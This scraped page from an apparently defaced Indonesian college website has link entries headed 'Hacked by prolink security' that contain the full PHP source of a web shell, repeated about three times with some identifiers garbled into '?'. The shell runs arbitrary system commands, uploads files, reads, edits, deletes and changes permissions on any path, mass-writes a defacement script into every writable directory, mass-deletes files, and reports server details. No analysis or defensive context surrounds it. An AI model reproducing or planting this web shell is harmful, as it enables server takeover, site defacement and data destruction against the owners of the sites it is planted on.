Link Terkait STKIP MUHAMMADIYAH Manokwari

• Hacked by prolink security table{display:none;}"; if(isset($_GET['option']) && $_POST['opt'] == 'download'){ header('Content-type: text/plain'); header('Content-Disposition: attachment; filename="'.$_POST['name'].'"'); echo(file_get_contents($_POST['path'])); exit(); } if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value); } } function ?($dir,$p) { if (isset($_GET['path'])) { $? = $_GET['path']; } else { $? = getcwd(); } if (is_writable($?)) { return "".$p.""; } else { return "".$p.""; } } function dc($dir,$p) { if (isset($_GET['path'])) { $? = $_GET['path']; } else { $? = getcwd(); } if (is_writable($?)) { return "".$p.""; } else { return "".$p.""; } } function ip() { $ipas = ''; if (getenv('HTTP_CLIENT_IP')) $ipas = getenv('HTTP_CLIENT_IP'); else if(getenv('HTTP_X_FORWARDED_FOR')) $ipas = getenv('HTTP_X_FORWARDED_FOR'); else if(getenv('HTTP_X_FORWARDED')) $ipas = getenv('HTTP_X_FORWARDED'); else if(getenv('HTTP_FORWARDED_FOR')) $ipas = getenv('HTTP_FORWARDED_FOR'); else if(getenv('HTTP_FORWARDED')) $ipas = getenv('HTTP_FORWARDED'); else if(getenv('REMOTE_ADDR')) $ipas = getenv('REMOTE_ADDR'); else $ipas = 'IP tidak dikenali'; return $ipas; } function ekse() { $cmd = "whoami"; $return = ""; $output = ""; $methodArray = array(); //exec() $return = ""; $output = ""; exec($cmd, $output, $return); if (strlen($output[0]) > 0 && $return == 0) { $methodArray[] = "exec"; } //shell_exec() $return = ""; $output = ""; $output = shell_exec($cmd); if (strlen($output) > 0) { $methodArray[] = "shell_exec"; } return $methodArray; } function ekseCMD($cmd, $method) { if ($method == "") { ob_start(); $methodArray = ekse(); ob_end_clean(); if (is_array($methodArray)) { $method = $methodArray[0]; } } switch ($method) { case "exec": exec($cmd, $output); var_dump($output); break; case "shell_exec": echo shell_exec($cmd); break; } } $cmd = htmlspecialchars($_POST["cmd"]); $method = htmlspecialchars($_POST["execCMD"]); function p($file){ $p = fileperms($file); if (($p & 0xC000) == 0xC000) { $i = 's'; } elseif (($p & 0xA000) == 0xA000) { $i = 'l'; } elseif (($p & 0x8000) == 0x8000) { $i = '-'; } elseif (($p & 0x6000) == 0x6000) { $i = 'b'; } elseif (($p & 0x4000) == 0x4000) { $i = 'd'; } elseif (($p & 0x2000) == 0x2000) { $i = 'c'; } elseif (($p & 0x1000) == 0x1000) { $i = 'p'; } else { $i = 'u'; } $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; exit(); } echo "

  $? Bypass 403

  "; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo ' : /'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo " [ ".?($path, p($path))." ]"; echo "

   Menu

  Upload Mass depes Mass delete Terminal Info server About

  "; // tools nya if(isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); for($i = 0; $i <= $c_dir; $i++) { $scdir[$i]; if($i != $c_dir) { } elseif($_GET['id'] == 'depes'){ function mass_kabeh($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($?, $isi_script); } elseif($dirb === '..') { file_put_contents($?, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[success] $?
  "; file_put_contents($?, $isi_script); $? = mass_kabeh($dirc,$namafile,$isi_script); } } } } } } function mass_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($?, $isi_script); } elseif($dirb === '..') { file_put_contents($?, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[success] $dirb/$namafile
  "; file_put_contents($?, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe'] == 'massal') { echo "

  "; mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

  "; } elseif($_POST['tipe'] == 'biasa') { echo "

  "; mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

  "; } } else { echo "
  $?

  Tipe:
  

  Biasa

  Massal

  Lokasi: File name: Your script:
  

  "; } } elseif($_GET['id'] == 'info'){ $disfunc = @ini_get("disable_functions"); if (empty($disfunc)) { $disfc = "NONE"; } else { $disfc = "$disfunc"; } if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF"; echo '
  '.$?.'

  '; echo "Uname: ".php_uname()."
  "; echo "Software: ".$_SERVER['SERVER_SOFTWARE']."
  "; echo "PHP version: ".PHP_VERSION." PHP os: ".PHP_OS."
  "; echo "Server Ip: ".gethostbyname($_SERVER['HTTP_HOST'])."
  "; echo "Your Ip: ".ip()."
  "; echo "User: $user ($uid) | Group: $group ($gid)
  "; echo "Safe Mode: $sm
  "; echo "Disable Function:

  $disfc

  "; echo '

  '; } elseif($_GET['id'] == 'about'){ echo '
  '.$?.'

  '; echo ""; echo "- About Me -
  "; echo "Thanks bre dah pake shell nya, jika ada yang error silahkan hubungi email di bawah.
  Greetz : { AnonSec Team } - And You
  My email: unknownsec1337@gmail.com"; echo '

  '; } elseif($_GET['id'] == 'cmd') { echo "$?
  

  $method"; ob_start(); $methodArray = ekse(); ob_end_clean(); foreach ($methodArray as $value) { echo "$value"; } echo '

  '; if($cmd == "") { echo "

  ";
  		ekseCMD("whoami", $method);
  		echo '

  '; }else { echo "

  ~$ ".$cmd."
  ";
  		ekseCMD($cmd, $method);
  		echo "

  "; } } elseif($_GET['id'] == 'upload'){ echo '
  '.$?.'

  Submit

  '; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo ' '; }else{ echo ' '; } } } elseif($_GET['id'] == 'delete'){ function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if(file_exists($?)) { echo "[deleted] $?
  "; unlink($?); $? = hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']) { echo "

  "; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "

  "; } else { echo "
  $?

  Lokasi: File name:

  
  

  "; } } } // akhir tools if(isset($_GET['filesrc'])){ echo "
  name : ".basename($_GET['filesrc']);"
  "; echo ' '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
  '; } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
  name : '.basename($_POST['path']);'
  '; //Chmod if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo ' '; }else{ echo ' '; } } echo '

  '; } //rename folder elseif($_GET['opt'] == 'btw'){ $cwd = getcwd(); echo '

  '; } //rename file elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo ' '; }else{ echo ' '; } $_POST['name'] = $_POST['newname']; } echo '

  '; } //edit file elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo ' '; }else{ echo ' '; } fclose($fp); } echo '

  '.htmlspecialchars(file_get_contents($_POST['path'])).'
  

  
  '; } }else{ //delete dir if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo ' '; }else{ echo ' '; } } //delete file elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo ' '; }else{ echo ' '; } } } echo ''; $scandir = scandir($path); $pa = getcwd(); echo '

  '; foreach($scandir as $dir){ $dt = date("Y-m-d", filemtime("$path/$dir")); if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo " "; } foreach($scandir as $file){ $ft = date("Y-m-d", filemtime("$path/$file")); if(!is_file($path.'/'.$file)) continue; $s = filesize($path.'/'.$file)/1024; $s = round($s,3); if($s >= 1024){ $s = round($s/1024,2).' MB'; }else{ $s = $s.' KB'; } echo " "; } } echo "

  Name	Last edit	Size	Permission	Options
  $dir	$dt	DIR	"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo p("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "	Select Delete Chmod Rename
  $file	$ft	$s	"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo p("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "	Select Delete Edit Rename Chmod Download

  Copyright © ".date("Y")." - $?
  "; ?> table{display:none;}"; if(isset($_GET['option']) && $_POST['opt'] == 'download'){ header('Content-type: text/plain'); header('Content-Disposition: attachment; filename="'.$_POST['name'].'"'); echo(file_get_contents($_POST['path'])); exit(); } if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value); } } function ?($dir,$p) { if (isset($_GET['path'])) { $? = $_GET['path']; } else { $? = getcwd(); } if (is_writable($?)) { return "".$p.""; } else { return "".$p.""; } } function dc($dir,$p) { if (isset($_GET['path'])) { $? = $_GET['path']; } else { $? = getcwd(); } if (is_writable($?)) { return "".$p.""; } else { return "".$p.""; } } function ip() { $ipas = ''; if (getenv('HTTP_CLIENT_IP')) $ipas = getenv('HTTP_CLIENT_IP'); else if(getenv('HTTP_X_FORWARDED_FOR')) $ipas = getenv('HTTP_X_FORWARDED_FOR'); else if(getenv('HTTP_X_FORWARDED')) $ipas = getenv('HTTP_X_FORWARDED'); else if(getenv('HTTP_FORWARDED_FOR')) $ipas = getenv('HTTP_FORWARDED_FOR'); else if(getenv('HTTP_FORWARDED')) $ipas = getenv('HTTP_FORWARDED'); else if(getenv('REMOTE_ADDR')) $ipas = getenv('REMOTE_ADDR'); else $ipas = 'IP tidak dikenali'; return $ipas; } function ekse() { $cmd = "whoami"; $return = ""; $output = ""; $methodArray = array(); //exec() $return = ""; $output = ""; exec($cmd, $output, $return); if (strlen($output[0]) > 0 && $return == 0) { $methodArray[] = "exec"; } //shell_exec() $return = ""; $output = ""; $output = shell_exec($cmd); if (strlen($output) > 0) { $methodArray[] = "shell_exec"; } return $methodArray; } function ekseCMD($cmd, $method) { if ($method == "") { ob_start(); $methodArray = ekse(); ob_end_clean(); if (is_array($methodArray)) { $method = $methodArray[0]; } } switch ($method) { case "exec": exec($cmd, $output); var_dump($output); break; case "shell_exec": echo shell_exec($cmd); break; } } $cmd = htmlspecialchars($_POST["cmd"]); $method = htmlspecialchars($_POST["execCMD"]); function p($file){ $p = fileperms($file); if (($p & 0xC000) == 0xC000) { $i = 's'; } elseif (($p & 0xA000) == 0xA000) { $i = 'l'; } elseif (($p & 0x8000) == 0x8000) { $i = '-'; } elseif (($p & 0x6000) == 0x6000) { $i = 'b'; } elseif (($p & 0x4000) == 0x4000) { $i = 'd'; } elseif (($p & 0x2000) == 0x2000) { $i = 'c'; } elseif (($p & 0x1000) == 0x1000) { $i = 'p'; } else { $i = 'u'; } $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; exit(); } echo "

  $? Bypass 403

  "; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo ' : /'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo " [ ".?($path, p($path))." ]"; echo "

   Menu

  Upload Mass depes Mass delete Terminal Info server About

  "; // tools nya if(isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); for($i = 0; $i <= $c_dir; $i++) { $scdir[$i]; if($i != $c_dir) { } elseif($_GET['id'] == 'depes'){ function mass_kabeh($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($?, $isi_script); } elseif($dirb === '..') { file_put_contents($?, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[success] $?
  "; file_put_contents($?, $isi_script); $? = mass_kabeh($dirc,$namafile,$isi_script); } } } } } } function mass_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($?, $isi_script); } elseif($dirb === '..') { file_put_contents($?, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[success] $dirb/$namafile
  "; file_put_contents($?, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe'] == 'massal') { echo "

  "; mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

  "; } elseif($_POST['tipe'] == 'biasa') { echo "

  "; mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

  "; } } else { echo "
  $?

  Tipe:
  

  Biasa

  Massal

  Lokasi: File name: Your script:
  

  "; } } elseif($_GET['id'] == 'info'){ $disfunc = @ini_get("disable_functions"); if (empty($disfunc)) { $disfc = "NONE"; } else { $disfc = "$disfunc"; } if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF"; echo '
  '.$?.'

  '; echo "Uname: ".php_uname()."
  "; echo "Software: ".$_SERVER['SERVER_SOFTWARE']."
  "; echo "PHP version: ".PHP_VERSION." PHP os: ".PHP_OS."
  "; echo "Server Ip: ".gethostbyname($_SERVER['HTTP_HOST'])."
  "; echo "Your Ip: ".ip()."
  "; echo "User: $user ($uid) | Group: $group ($gid)
  "; echo "Safe Mode: $sm
  "; echo "Disable Function:

  $disfc

  "; echo '

  '; } elseif($_GET['id'] == 'about'){ echo '
  '.$?.'

  '; echo ""; echo "- About Me -
  "; echo "Thanks bre dah pake shell nya, jika ada yang error silahkan hubungi email di bawah.
  Greetz : { AnonSec Team } - And You
  My email: unknownsec1337@gmail.com"; echo '

  '; } elseif($_GET['id'] == 'cmd') { echo "$?
  

  $method"; ob_start(); $methodArray = ekse(); ob_end_clean(); foreach ($methodArray as $value) { echo "$value"; } echo '

  '; if($cmd == "") { echo "

  ";
  		ekseCMD("whoami", $method);
  		echo '

  '; }else { echo "

  ~$ ".$cmd."
  ";
  		ekseCMD($cmd, $method);
  		echo "

  "; } } elseif($_GET['id'] == 'upload'){ echo '
  '.$?.'

  Submit

  '; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo ' '; }else{ echo ' '; } } } elseif($_GET['id'] == 'delete'){ function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if(file_exists($?)) { echo "[deleted] $?
  "; unlink($?); $? = hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']) { echo "

  "; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "

  "; } else { echo "
  $?

  Lokasi: File name:

  
  

  "; } } } // akhir tools if(isset($_GET['filesrc'])){ echo "
  name : ".basename($_GET['filesrc']);"
  "; echo ' '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
  '; } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
  name : '.basename($_POST['path']);'
  '; //Chmod if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo ' '; }else{ echo ' '; } } echo '

  '; } //rename folder elseif($_GET['opt'] == 'btw'){ $cwd = getcwd(); echo '

  '; } //rename file elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo ' '; }else{ echo ' '; } $_POST['name'] = $_POST['newname']; } echo '

  '; } //edit file elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo ' '; }else{ echo ' '; } fclose($fp); } echo '

  '.htmlspecialchars(file_get_contents($_POST['path'])).'
  

  
  '; } }else{ //delete dir if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo ' '; }else{ echo ' '; } } //delete file elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo ' '; }else{ echo ' '; } } } echo ''; $scandir = scandir($path); $pa = getcwd(); echo '

  '; foreach($scandir as $dir){ $dt = date("Y-m-d", filemtime("$path/$dir")); if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo " "; } foreach($scandir as $file){ $ft = date("Y-m-d", filemtime("$path/$file")); if(!is_file($path.'/'.$file)) continue; $s = filesize($path.'/'.$file)/1024; $s = round($s,3); if($s >= 1024){ $s = round($s/1024,2).' MB'; }else{ $s = $s.' KB'; } echo " "; } } echo "

  Name	Last edit	Size	Permission	Options
  $dir	$dt	DIR	"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo p("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "	Select Delete Chmod Rename
  $file	$ft	$s	"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo p("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "	Select Delete Edit Rename Chmod Download

  Copyright © ".date("Y")." - $?
  "; ?>
• Hacked by prolink security table{display:none;}"; if(isset($_GET['option']) && $_POST['opt'] == 'download'){ header('Content-type: text/plain'); header('Content-Disposition: attachment; filename="'.$_POST['name'].'"'); echo(file_get_contents($_POST['path'])); exit(); } if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value); } } function ?($dir,$p) { if (isset($_GET['path'])) { $? = $_GET['path']; } else { $? = getcwd(); } if (is_writable($?)) { return "".$p.""; } else { return "".$p.""; } } function dc($dir,$p) { if (isset($_GET['path'])) { $? = $_GET['path']; } else { $? = getcwd(); } if (is_writable($?)) { return "".$p.""; } else { return "".$p.""; } } function ip() { $ipas = ''; if (getenv('HTTP_CLIENT_IP')) $ipas = getenv('HTTP_CLIENT_IP'); else if(getenv('HTTP_X_FORWARDED_FOR')) $ipas = getenv('HTTP_X_FORWARDED_FOR'); else if(getenv('HTTP_X_FORWARDED')) $ipas = getenv('HTTP_X_FORWARDED'); else if(getenv('HTTP_FORWARDED_FOR')) $ipas = getenv('HTTP_FORWARDED_FOR'); else if(getenv('HTTP_FORWARDED')) $ipas = getenv('HTTP_FORWARDED'); else if(getenv('REMOTE_ADDR')) $ipas = getenv('REMOTE_ADDR'); else $ipas = 'IP tidak dikenali'; return $ipas; } function ekse() { $cmd = "whoami"; $return = ""; $output = ""; $methodArray = array(); //exec() $return = ""; $output = ""; exec($cmd, $output, $return); if (strlen($output[0]) > 0 && $return == 0) { $methodArray[] = "exec"; } //shell_exec() $return = ""; $output = ""; $output = shell_exec($cmd); if (strlen($output) > 0) { $methodArray[] = "shell_exec"; } return $methodArray; } function ekseCMD($cmd, $method) { if ($method == "") { ob_start(); $methodArray = ekse(); ob_end_clean(); if (is_array($methodArray)) { $method = $methodArray[0]; } } switch ($method) { case "exec": exec($cmd, $output); var_dump($output); break; case "shell_exec": echo shell_exec($cmd); break; } } $cmd = htmlspecialchars($_POST["cmd"]); $method = htmlspecialchars($_POST["execCMD"]); function p($file){ $p = fileperms($file); if (($p & 0xC000) == 0xC000) { $i = 's'; } elseif (($p & 0xA000) == 0xA000) { $i = 'l'; } elseif (($p & 0x8000) == 0x8000) { $i = '-'; } elseif (($p & 0x6000) == 0x6000) { $i = 'b'; } elseif (($p & 0x4000) == 0x4000) { $i = 'd'; } elseif (($p & 0x2000) == 0x2000) { $i = 'c'; } elseif (($p & 0x1000) == 0x1000) { $i = 'p'; } else { $i = 'u'; } $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; exit(); } echo "

  $? Bypass 403

  "; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo ' : /'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo " [ ".?($path, p($path))." ]"; echo "

   Menu

  Upload Mass depes Mass delete Terminal Info server About

  "; // tools nya if(isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); for($i = 0; $i <= $c_dir; $i++) { $scdir[$i]; if($i != $c_dir) { } elseif($_GET['id'] == 'depes'){ function mass_kabeh($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($?, $isi_script); } elseif($dirb === '..') { file_put_contents($?, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[success] $?
  "; file_put_contents($?, $isi_script); $? = mass_kabeh($dirc,$namafile,$isi_script); } } } } } } function mass_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($?, $isi_script); } elseif($dirb === '..') { file_put_contents($?, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[success] $dirb/$namafile
  "; file_put_contents($?, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe'] == 'massal') { echo "

  "; mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

  "; } elseif($_POST['tipe'] == 'biasa') { echo "

  "; mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

  "; } } else { echo "
  $?

  Tipe:
  

  Biasa

  Massal

  Lokasi: File name: Your script:
  

  "; } } elseif($_GET['id'] == 'info'){ $disfunc = @ini_get("disable_functions"); if (empty($disfunc)) { $disfc = "NONE"; } else { $disfc = "$disfunc"; } if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF"; echo '
  '.$?.'

  '; echo "Uname: ".php_uname()."
  "; echo "Software: ".$_SERVER['SERVER_SOFTWARE']."
  "; echo "PHP version: ".PHP_VERSION." PHP os: ".PHP_OS."
  "; echo "Server Ip: ".gethostbyname($_SERVER['HTTP_HOST'])."
  "; echo "Your Ip: ".ip()."
  "; echo "User: $user ($uid) | Group: $group ($gid)
  "; echo "Safe Mode: $sm
  "; echo "Disable Function:

  $disfc

  "; echo '

  '; } elseif($_GET['id'] == 'about'){ echo '
  '.$?.'

  '; echo ""; echo "- About Me -
  "; echo "Thanks bre dah pake shell nya, jika ada yang error silahkan hubungi email di bawah.
  Greetz : { AnonSec Team } - And You
  My email: unknownsec1337@gmail.com"; echo '

  '; } elseif($_GET['id'] == 'cmd') { echo "$?
  

  $method"; ob_start(); $methodArray = ekse(); ob_end_clean(); foreach ($methodArray as $value) { echo "$value"; } echo '

  '; if($cmd == "") { echo "

  ";
  		ekseCMD("whoami", $method);
  		echo '

  '; }else { echo "

  ~$ ".$cmd."
  ";
  		ekseCMD($cmd, $method);
  		echo "

  "; } } elseif($_GET['id'] == 'upload'){ echo '
  '.$?.'

  Submit

  '; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo ' '; }else{ echo ' '; } } } elseif($_GET['id'] == 'delete'){ function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $? = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if(file_exists($?)) { echo "[deleted] $?
  "; unlink($?); $? = hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']) { echo "

  "; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "

  "; } else { echo "
  $?

  Lokasi: File name:

  
  

  "; } } } // akhir tools if(isset($_GET['filesrc'])){ echo "
  name : ".basename($_GET['filesrc']);"
  "; echo ' '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
  '; } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
  name : '.basename($_POST['path']);'
  '; //Chmod if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo ' '; }else{ echo ' '; } } echo '

  '; } //rename folder elseif($_GET['opt'] == 'btw'){ $cwd = getcwd(); echo '

  '; } //rename file elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo ' '; }else{ echo ' '; } $_POST['name'] = $_POST['newname']; } echo '

  '; } //edit file elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo ' '; }else{ echo ' '; } fclose($fp); } echo '

  '.htmlspecialchars(file_get_contents($_POST['path'])).'
  

  
  '; } }else{ //delete dir if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo ' '; }else{ echo ' '; } } //delete file elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo ' '; }else{ echo ' '; } } } echo ''; $scandir = scandir($path); $pa = getcwd(); echo '

